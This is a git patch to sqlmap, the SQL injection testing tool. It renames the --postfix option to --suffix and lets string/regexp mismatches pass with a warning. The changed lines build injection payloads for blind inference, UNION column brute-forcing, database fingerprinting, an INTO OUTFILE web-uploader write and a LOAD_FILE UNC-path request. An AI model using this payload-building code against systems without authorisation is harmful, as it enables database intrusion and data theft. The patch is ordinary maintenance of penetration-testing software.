From 17486e472a3c05cae2ae92d5887a922b7ac7aacf Mon Sep 17 00:00:00 2001 From: Bernardo Damele Date: Wed, 17 Nov 2010 22:00:09 +0000 Subject: [PATCH] Proper english (--postfix is now --suffix) and --string/--regexp does not necessarily need to match into the original response body, it might well be in the injected True condition only! --- doc/THANKS | 2 +- lib/controller/checks.py | 59 ++++++++++++++--------------- lib/core/agent.py | 14 +++---- lib/core/optiondict.py | 2 +- lib/parse/cmdline.py | 4 +- lib/request/comparison.py | 8 ++-- lib/request/inject.py | 4 +- lib/takeover/web.py | 2 +- lib/techniques/blind/inference.py | 4 +- lib/techniques/blind/timebased.py | 2 +- lib/techniques/brute/use.py | 6 +-- lib/techniques/error/use.py | 2 +- lib/techniques/inband/union/test.py | 4 +- lib/utils/parenthesis.py | 4 +- plugins/dbms/access/fingerprint.py | 6 +-- plugins/dbms/maxdb/fingerprint.py | 6 +-- plugins/dbms/mysql/fingerprint.py | 4 +- plugins/dbms/mysql/takeover.py | 2 +- sqlmap.conf | 4 +- xml/injections.xml | 16 ++++---- 20 files changed, 77 insertions(+), 78 deletions(-) diff --git a/doc/THANKS b/doc/THANKS index 194bc788b..65bd4f694 100644 --- a/doc/THANKS +++ b/doc/THANKS @@ -213,7 +213,7 @@ Gabriel Lima for reporting a couple of bugs Mark Lowe - for reporting a bug + for reporting a couple of bugs Truong Duc Luong for reporting a minor bug diff --git a/lib/controller/checks.py b/lib/controller/checks.py index 26576b94a..8f1c9ebc9 100644 --- a/lib/controller/checks.py +++ b/lib/controller/checks.py @@ -52,15 +52,15 @@ def checkSqlInjection(place, parameter, value, parenthesis): randInt = randomInt() randStr = randomStr() prefix = "" - postfix = "" + suffix = "" retVal = None - if conf.prefix or conf.postfix: + if conf.prefix or conf.suffix: if conf.prefix: prefix = conf.prefix - if conf.postfix: - postfix = conf.postfix + if conf.suffix: + suffix = conf.suffix for case in kb.injections.root.case: conf.matchRatio = None @@ -68,7 +68,7 @@ def checkSqlInjection(place, parameter, value, parenthesis): positive = case.test.positive negative = case.test.negative - if not prefix and not postfix and case.name == "custom": + if not prefix and not suffix and case.name == "custom": continue infoMsg = "testing %s (%s) injection " % (case.desc, logic) @@ -116,16 +116,16 @@ def heuristicCheckSqlInjection(place, parameter, value): return prefix = "" - postfix = "" + suffix = "" - if conf.prefix or conf.postfix: + if conf.prefix or conf.suffix: if conf.prefix: prefix = conf.prefix - if conf.postfix: - postfix = conf.postfix + if conf.suffix: + suffix = conf.suffix - payload = "%s%s%s%s" % (value, prefix, randomStr(length=10, alphabet=['"', '\'', ')', '(']), postfix) + payload = "%s%s%s%s" % (value, prefix, randomStr(length=10, alphabet=['"', '\'', ')', '(']), suffix) payload = agent.payload(place, parameter, value, payload) Request.queryPage(payload, place, raise404=False) result = wasLastRequestDBMSError() @@ -209,15 +209,15 @@ def checkDynamicContent(firstPage, secondPage): for i in xrange(len(blocks) - 1): prefix = firstPage[blocks[i][0]:blocks[i][0] + blocks[i][2]] if blocks[i] else None - postfix = firstPage[blocks[i + 1][0]:blocks[i + 1][0] + blocks[i + 1][2]] if blocks[i + 1] else None + suffix = firstPage[blocks[i + 1][0]:blocks[i + 1][0] + blocks[i + 1][2]] if blocks[i + 1] else None if prefix is None and blocks[i + 1][0] == 0: continue - if postfix is None and (blocks[i][0] + blocks[i][2] >= len(firstPage)): + if suffix is None and (blocks[i][0] + blocks[i][2] >= len(firstPage)): continue - kb.dynamicMarkings.append((re.escape(prefix[-conf.dynMarkLength:]) if prefix else None, re.escape(postfix[:conf.dynMarkLength]) if postfix else None)) + kb.dynamicMarkings.append((re.escape(prefix[-conf.dynMarkLength:]) if prefix else None, re.escape(suffix[:conf.dynMarkLength]) if suffix else None)) if len(kb.dynamicMarkings) > 0: infoMsg = "dynamic content marked for removal (%d region%s)" % (len(kb.dynamicMarkings), 's' if len(kb.dynamicMarkings) > 1 else '') @@ -225,14 +225,14 @@ def checkDynamicContent(firstPage, secondPage): if conf.seqMatcher.a: for item in kb.dynamicMarkings: - prefix, postfix = item + prefix, suffix = item if prefix is None: - conf.seqMatcher.a = re.sub('(?s)^.+%s' % postfix, postfix, conf.seqMatcher.a) - elif postfix is None: + conf.seqMatcher.a = re.sub('(?s)^.+%s' % suffix, suffix, conf.seqMatcher.a) + elif suffix is None: conf.seqMatcher.a = re.sub('(?s)%s.+$' % prefix, prefix, conf.seqMatcher.a) else: - conf.seqMatcher.a = re.sub('(?s)%s.+%s' % (prefix, postfix), '%s%s' % (prefix, postfix), conf.seqMatcher.a) + conf.seqMatcher.a = re.sub('(?s)%s.+%s' % (prefix, suffix), '%s%s' % (prefix, suffix), conf.seqMatcher.a) def checkStability(): """ @@ -347,14 +347,14 @@ def checkString(): if conf.string in page: setString() - return True else: - errMsg = "you provided '%s' as the string to " % conf.string - errMsg += "match, but such a string is not within the target " - errMsg += "URL page content, please provide another string." - logger.error(errMsg) + warnMsg = "you provided '%s' as the string to " % conf.string + warnMsg += "match, but such a string is not within the target " + warnMsg += "URL page content original request, sqlmap will " + warnMsg += "keep going anyway" + logger.warn(warnMsg) - return False + return True def checkRegexp(): if not conf.regexp: @@ -377,15 +377,14 @@ def checkRegexp(): if re.search(conf.regexp, page, re.I | re.M): setRegexp() - return True else: - errMsg = "you provided '%s' as the regular expression to " % conf.regexp - errMsg += "match, but such a regular expression does not have any " - errMsg += "match within the target URL page content, please provide " - errMsg += "another regular expression." - logger.error(errMsg) + warnMsg = "you provided '%s' as the regular expression to " % conf.regexp + warnMsg += "match, but such a regular expression does not have any " + warnMsg += "match within the target URL page content, sqlmap " + warnMsg += "will keep going anyway" + logger.warn(warnMsg) - return False + return True def checkNullConnection(): """ diff --git a/lib/core/agent.py b/lib/core/agent.py index e94c3f73e..69f016274 100644 --- a/lib/core/agent.py +++ b/lib/core/agent.py @@ -120,7 +120,7 @@ class Agent: return self.payloadDirect(query) query = self.prefixQuery(query) - query = self.postfixQuery(query) + query = self.suffixQuery(query) payload = self.payload(newValue=query) return payload @@ -156,7 +156,7 @@ class Agent: return query - def postfixQuery(self, string, comment=None): + def suffixQuery(self, string, comment=None): """ This method appends the DBMS comment to the SQL injection request @@ -182,10 +182,10 @@ class Agent: if comment: string += comment - if conf.postfix: - string += " %s" % conf.postfix + if conf.suffix: + string += " %s" % conf.suffix else: - string += case.usage.postfix.format % eval(case.usage.postfix.params) + string += case.usage.suffix.format % eval(case.usage.suffix.params) return string @@ -499,7 +499,7 @@ class Agent: if intoRegExp: inbandQuery += intoRegExp - inbandQuery = self.postfixQuery(inbandQuery, kb.unionComment) + inbandQuery = self.suffixQuery(inbandQuery, kb.unionComment) return inbandQuery @@ -636,7 +636,7 @@ class Agent: regObj = getCompiledRegex("(?P%s.*?%s)" % (PAYLOAD_DELIMITER, PAYLOAD_DELIMITER)) for match in regObj.finditer(inpStr): - retVal = retVal.replace(match.group("result"), urlencode(match.group("result").strip(PAYLOAD_DELIMITER), convall=True)) + retVal = retVal.replace(match.group("result"), match.group("result").strip(PAYLOAD_DELIMITER)) else: retVal = retVal.replace(PAYLOAD_DELIMITER, '') diff --git a/lib/core/optiondict.py b/lib/core/optiondict.py index e21c262ad..7eb5ad968 100644 --- a/lib/core/optiondict.py +++ b/lib/core/optiondict.py @@ -58,7 +58,7 @@ optDict = { "dbms": "string", "os": "string", "prefix": "string", - "postfix": "string", + "suffix": "string", "tamper": "string" }, diff --git a/lib/parse/cmdline.py b/lib/parse/cmdline.py index ae857c5b7..56b3f6682 100644 --- a/lib/parse/cmdline.py +++ b/lib/parse/cmdline.py @@ -169,8 +169,8 @@ def cmdLineParser(): injection.add_option("--prefix", dest="prefix", help="Injection payload prefix string") - injection.add_option("--postfix", dest="postfix", - help="Injection payload postfix string") + injection.add_option("--suffix", dest="suffix", + help="Injection payload suffix string") injection.add_option("--tamper", dest="tamper", help="Use given script(s) for tampering injection data") diff --git a/lib/request/comparison.py b/lib/request/comparison.py index 87f690c36..e7116c546 100644 --- a/lib/request/comparison.py +++ b/lib/request/comparison.py @@ -60,14 +60,14 @@ def comparison(page, headers=None, getSeqMatcher=False, pageLength=None): # Dynamic content lines to be excluded before comparison if not kb.nullConnection and not conf.longestCommon: for item in kb.dynamicMarkings: - prefix, postfix = item + prefix, suffix = item if prefix is None: - page = re.sub('(?s)^.+%s' % postfix, postfix, page) - elif postfix is None: + page = re.sub('(?s)^.+%s' % suffix, suffix, page) + elif suffix is None: page = re.sub('(?s)%s.+$' % prefix, prefix, page) else: - page = re.sub('(?s)%s.+%s' % (prefix, postfix), '%s%s' % (prefix, postfix), page) + page = re.sub('(?s)%s.+%s' % (prefix, suffix), '%s%s' % (prefix, suffix), page) if not pageLength: pageLength = len(page) diff --git a/lib/request/inject.py b/lib/request/inject.py index 9e39f1f18..fef7f4da2 100644 --- a/lib/request/inject.py +++ b/lib/request/inject.py @@ -99,7 +99,7 @@ def __goInferenceProxy(expression, fromUser=False, expected=None, batch=False, r """ query = agent.prefixQuery(queries[kb.misc.testedDbms].inference.query) - query = agent.postfixQuery(query) + query = agent.suffixQuery(query) payload = agent.payload(newValue=query) count = None startLimit = 0 @@ -398,7 +398,7 @@ def goStacked(expression, silent=False): comment = queries[kb.dbms].comment.query query = agent.prefixQuery("; %s" % expression) - query = agent.postfixQuery("%s;%s" % (query, comment)) + query = agent.suffixQuery("%s;%s" % (query, comment)) debugMsg = "query: %s" % query logger.debug(debugMsg) diff --git a/lib/takeover/web.py b/lib/takeover/web.py index d50749fb9..9da6cfe31 100644 --- a/lib/takeover/web.py +++ b/lib/takeover/web.py @@ -99,7 +99,7 @@ class Web: query = "LIMIT 1 INTO OUTFILE '%s' " % outFile query += "LINES TERMINATED BY 0x%s --" % hexencode(uplQuery) query = agent.prefixQuery(query) - query = agent.postfixQuery(query) + query = agent.suffixQuery(query) payload = agent.payload(newValue=query) page = Request.queryPage(payload) return page diff --git a/lib/techniques/blind/inference.py b/lib/techniques/blind/inference.py index 012fa8ee5..131496497 100644 --- a/lib/techniques/blind/inference.py +++ b/lib/techniques/blind/inference.py @@ -442,7 +442,7 @@ def bisection(payload, expression, length=None, charsetType=None, firstChar=None # One-shot query containing equals commonValue testValue = unescaper.unescape("'%s'" % commonValue) if "'" not in commonValue else unescaper.unescape("%s" % commonValue, quote=False) query = agent.prefixQuery(safeStringFormat("AND (%s) = %s", (expressionUnescaped, testValue))) - query = agent.postfixQuery(query) + query = agent.suffixQuery(query) queriesCount[0] += 1 result = Request.queryPage(agent.payload(newValue=query)) @@ -466,7 +466,7 @@ def bisection(payload, expression, length=None, charsetType=None, firstChar=None subquery = queries[kb.dbms].substring.query % (expressionUnescaped, 1, len(commonPattern)) testValue = unescaper.unescape("'%s'" % commonPattern) if "'" not in commonPattern else unescaper.unescape("%s" % commonPattern, quote=False) query = agent.prefixQuery(safeStringFormat("AND (%s) = %s", (subquery, testValue))) - query = agent.postfixQuery(query) + query = agent.suffixQuery(query) queriesCount[0] += 1 result = Request.queryPage(agent.payload(newValue=query)) diff --git a/lib/techniques/blind/timebased.py b/lib/techniques/blind/timebased.py index ab44a8cc0..0a113659d 100644 --- a/lib/techniques/blind/timebased.py +++ b/lib/techniques/blind/timebased.py @@ -28,7 +28,7 @@ def timeTest(): timeQuery = getDelayQuery(andCond=True) query = agent.prefixQuery("AND %s" % timeQuery) - query = agent.postfixQuery(query) + query = agent.suffixQuery(query) payload = agent.payload(newValue=query) start = time.time() _ = Request.queryPage(payload) diff --git a/lib/techniques/brute/use.py b/lib/techniques/brute/use.py index 4bf9392c8..d1f50c080 100644 --- a/lib/techniques/brute/use.py +++ b/lib/techniques/brute/use.py @@ -38,7 +38,7 @@ def tableExists(tableFile): if conf.db and '(*)' not in conf.db: table = "%s.%s" % (conf.db, table) query = agent.prefixQuery("%s" % safeStringFormat("AND EXISTS(SELECT %d FROM %s)", (randomInt(1), table))) - query = agent.postfixQuery(query) + query = agent.suffixQuery(query) result = Request.queryPage(agent.payload(newValue=query)) if result: @@ -89,7 +89,7 @@ def columnExists(columnFile): for column in columns: query = agent.prefixQuery("%s" % safeStringFormat("AND EXISTS(SELECT %s FROM %s)", (column, table))) - query = agent.postfixQuery(query) + query = agent.suffixQuery(query) result = Request.queryPage(agent.payload(newValue=query)) if result: @@ -114,7 +114,7 @@ def columnExists(columnFile): for column in retVal: query = agent.prefixQuery("%s" % safeStringFormat("AND EXISTS(SELECT %s FROM %s WHERE %s>0)", (column, table, column))) - query = agent.postfixQuery(query) + query = agent.suffixQuery(query) result = Request.queryPage(agent.payload(newValue=query)) if result: diff --git a/lib/techniques/error/use.py b/lib/techniques/error/use.py index fb6049ea2..6a0286fbf 100644 --- a/lib/techniques/error/use.py +++ b/lib/techniques/error/use.py @@ -40,7 +40,7 @@ def errorUse(expression, returnPayload=False): logic = conf.logic randInt = randomInt(1) query = agent.prefixQuery(queries[kb.misc.testedDbms].error.query) - query = agent.postfixQuery(query) + query = agent.suffixQuery(query) startLimiter = "" endLimiter = "" diff --git a/lib/techniques/inband/union/test.py b/lib/techniques/inband/union/test.py index 7f4b51802..00246b731 100644 --- a/lib/techniques/inband/union/test.py +++ b/lib/techniques/inband/union/test.py @@ -128,7 +128,7 @@ def __unionTestByNULLBruteforce(comment, negative=False, falseCond=False): if kb.dbms == DBMS.ORACLE: query += " FROM DUAL" - commentedQuery = agent.postfixQuery(query, comment) + commentedQuery = agent.suffixQuery(query, comment) payload = agent.payload(newValue=commentedQuery, negative=negative, falseCond=falseCond) test, seqMatcher = Request.queryPage(payload, getSeqMatcher=True) @@ -145,7 +145,7 @@ def __unionTestByOrderBy(comment, negative=False, falseCond=False): for count in range(1, conf.uCols+2): query = agent.prefixQuery("ORDER BY %d" % count) - orderByQuery = agent.postfixQuery(query, comment) + orderByQuery = agent.suffixQuery(query, comment) payload = agent.payload(newValue=orderByQuery, negative=negative, falseCond=falseCond) _, seqMatcher = Request.queryPage(payload, getSeqMatcher=True) diff --git a/lib/utils/parenthesis.py b/lib/utils/parenthesis.py index 04b1572e5..bd4fa4323 100644 --- a/lib/utils/parenthesis.py +++ b/lib/utils/parenthesis.py @@ -37,7 +37,7 @@ def checkForParenthesis(): if kb.parenthesis is not None: return - if conf.prefix or conf.postfix: + if conf.prefix or conf.suffix: kb.parenthesis = 0 return @@ -46,7 +46,7 @@ def checkForParenthesis(): randStr = randomStr() query = case.usage.prefix.format % eval(case.usage.prefix.params) - query = query[:-1] + case.usage.postfix.format % eval(case.usage.postfix.params) + query = query[:-1] + case.usage.suffix.format % eval(case.usage.suffix.params) payload = agent.payload(newValue=query) result = Request.queryPage(payload) diff --git a/plugins/dbms/access/fingerprint.py b/plugins/dbms/access/fingerprint.py index a70c20ac3..12d9bf543 100644 --- a/plugins/dbms/access/fingerprint.py +++ b/plugins/dbms/access/fingerprint.py @@ -41,7 +41,7 @@ class Fingerprint(GenericFingerprint): table = "MSysAccessStorage" if table: query = agent.prefixQuery("AND EXISTS(SELECT CURDIR() FROM %s)" % table) - query = agent.postfixQuery(query) + query = agent.suffixQuery(query) payload = agent.payload(newValue=query) result = Request.queryPage(payload) retVal = "not sandboxed" if result else "sandboxed" @@ -71,7 +71,7 @@ class Fingerprint(GenericFingerprint): table = table[1:] randInt = randomInt() query = agent.prefixQuery("AND EXISTS(SELECT * FROM %s WHERE %d=%d)" % (table, randInt, randInt)) - query = agent.postfixQuery(query) + query = agent.suffixQuery(query) payload = agent.payload(newValue=query) result = Request.queryPage(payload) if result is None: @@ -95,7 +95,7 @@ class Fingerprint(GenericFingerprint): randInt = randomInt() randStr = randomStr() query = agent.prefixQuery("AND EXISTS(SELECT * FROM %s.%s WHERE %d=%d)" % (randStr, randStr, randInt, randInt)) - query = agent.postfixQuery(query) + query = agent.suffixQuery(query) payload = agent.payload(newValue=query) page = Request.queryPage(payload, content=True) diff --git a/plugins/dbms/maxdb/fingerprint.py b/plugins/dbms/maxdb/fingerprint.py index 6fe419c31..d83955917 100644 --- a/plugins/dbms/maxdb/fingerprint.py +++ b/plugins/dbms/maxdb/fingerprint.py @@ -35,7 +35,7 @@ class Fingerprint(GenericFingerprint): logger.info(infoMsg) query = agent.prefixQuery("/* NoValue */") - query = agent.postfixQuery(query) + query = agent.suffixQuery(query) payload = agent.payload(newValue=query) result = Request.queryPage(payload) @@ -49,7 +49,7 @@ class Fingerprint(GenericFingerprint): for version in [6, 7]: query = agent.prefixQuery("AND (SELECT MAJORVERSION FROM SYSINFO.VERSION)=%d" % version) - query = agent.postfixQuery(query) + query = agent.suffixQuery(query) payload = agent.payload(newValue=query) result = Request.queryPage(payload) @@ -58,7 +58,7 @@ class Fingerprint(GenericFingerprint): for version in xrange(0, 10): query = agent.prefixQuery("AND (SELECT MINORVERSION FROM SYSINFO.VERSION)=%d" % version) - query = agent.postfixQuery(query) + query = agent.suffixQuery(query) payload = agent.payload(newValue=query) result = Request.queryPage(payload) diff --git a/plugins/dbms/mysql/fingerprint.py b/plugins/dbms/mysql/fingerprint.py index d24cd4a2a..1a714411e 100644 --- a/plugins/dbms/mysql/fingerprint.py +++ b/plugins/dbms/mysql/fingerprint.py @@ -36,7 +36,7 @@ class Fingerprint(GenericFingerprint): logger.info(infoMsg) query = agent.prefixQuery("/* NoValue */") - query = agent.postfixQuery(query) + query = agent.suffixQuery(query) payload = agent.payload(newValue=query) result = Request.queryPage(payload) @@ -66,7 +66,7 @@ class Fingerprint(GenericFingerprint): randInt = randomInt() version = getUnicode(version) query = agent.prefixQuery("/*!%s AND %d=%d*/" % (version, randInt, randInt + 1)) - query = agent.postfixQuery(query) + query = agent.suffixQuery(query) payload = agent.payload(newValue=query) result = Request.queryPage(payload) diff --git a/plugins/dbms/mysql/takeover.py b/plugins/dbms/mysql/takeover.py index 535dea898..492952553 100644 --- a/plugins/dbms/mysql/takeover.py +++ b/plugins/dbms/mysql/takeover.py @@ -102,7 +102,7 @@ class Takeover(GenericTakeover): def uncPathRequest(self): if not kb.stackedTest: query = agent.prefixQuery("AND LOAD_FILE('%s')" % self.uncPath) - query = agent.postfixQuery(query) + query = agent.suffixQuery(query) payload = agent.payload(newValue=query) Request.queryPage(payload) diff --git a/sqlmap.conf b/sqlmap.conf index 1aafa4242..a7786d916 100644 --- a/sqlmap.conf +++ b/sqlmap.conf @@ -181,8 +181,8 @@ os = # Injection payload prefix string prefix = -# Injection payload postfix string -postfix = +# Injection payload suffix string +suffix = # Use given script(s) for tampering injection data tamper = diff --git a/xml/injections.xml b/xml/injections.xml index 7f0197e46..3890599bc 100644 --- a/xml/injections.xml +++ b/xml/injections.xml @@ -3,12 +3,12 @@ - - + + - + @@ -18,7 +18,7 @@ - + @@ -28,7 +28,7 @@ - + @@ -38,7 +38,7 @@ - + @@ -48,7 +48,7 @@ - + @@ -58,7 +58,7 @@ - +